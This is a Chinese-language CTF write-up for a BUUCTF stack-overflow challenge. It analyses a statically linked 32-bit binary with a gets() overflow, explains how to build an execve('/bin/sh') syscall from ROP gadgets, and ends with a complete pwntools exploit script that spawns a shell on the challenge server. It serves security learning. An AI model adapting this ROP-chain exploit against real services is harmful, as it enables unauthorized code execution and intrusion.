# 前置知识

静态编译程序特点

(main 函数里实现非常简单,但是拖入 IDA 后函数窗口里的函数很复杂大概率是静态编译的,因为没有使用系统 libc 所以程序的.text 段会看起来会很复杂)

# 1. 查看程序信息

32 位程序,未开启 pie,开启了 nx

ida 反汇编查看 main 函数,发现有个 overflow函数

c
int __cdecl main(int argc, const char **argv, const char **envp)
{
  overflow();
  return 0;
}

查看 overflow函数

c
_BYTE *overflow()
{
  char v1[12]; // [esp+Ch] [ebp-Ch] BYREF
  return gets(v1);
}

发现有个 gets 函数,可以无限制的写入导致栈溢出

# 2. 漏洞分析

有个 gets 函数可以栈溢出,但是没有后门函数,用 ida 发现里面有许许多多乱七八糟的函数,应该是来干扰的,没有调用 write 或者 puts 等函数无法泄露 libc,这种情况下可以尝试系统调用,因为程序本身有很多函数,会调用很多寄存器,这样方便我们构造系统调用的结构

先查看是否有 int 0x80 来调用系统调用

找到了 int 0x80 ,那我们就可以在找其他相应的寄存器来构造 execve("/bin/sh",0,0) 系统调用号为 11

32位架构系统调用寄存器顺序为:
1. eax(存放系统调用号,并不是指int 0x80)
2. ebx(存放第一个参数,"/bin/sh")
3. ecx(存放第二个参数,   0  )
4. edx(存放第三个参数,   0   )

利用方式 1:

利用 ROPgadget 查找对应地址




构造 rop 链的时候只要记得 32 位系统是先函数再参数

https://macchiato.ink/pwn/ctf/buuctf/#inndy-rop

利用方式 2:

利用 ROPgadget 来直接生成对应的 ropchain

ROPgadget --binary rop --ropchain

使用方式:将这段代码复制过去加上对应个数的 padding 即可

注意 :

工具生成的代码和我们日常使用的代码格式和风格上都有一定差距,从 struct 包中导入的 pack 函数也会和 pwntools 中的 pack 起冲突,如果一定要使用 struct 的 pack,就在导入 pwntools 导入struct ,这样就可以覆盖掉 pack

一定要导入库,导入库!!!

# exp:

n
from pwn import *
from LibcSearcher import *
from struct import pack
#context.log_level = 'debug'
context(os='linux', arch='i386', log_level='debug')
#p=process('./rop')
#e=ELF('./')
io=remote('node4.buuoj.cn',27363)
p = b'a'*(16)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += b'//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
payload=p
io.sendline(payload)
io.interactive()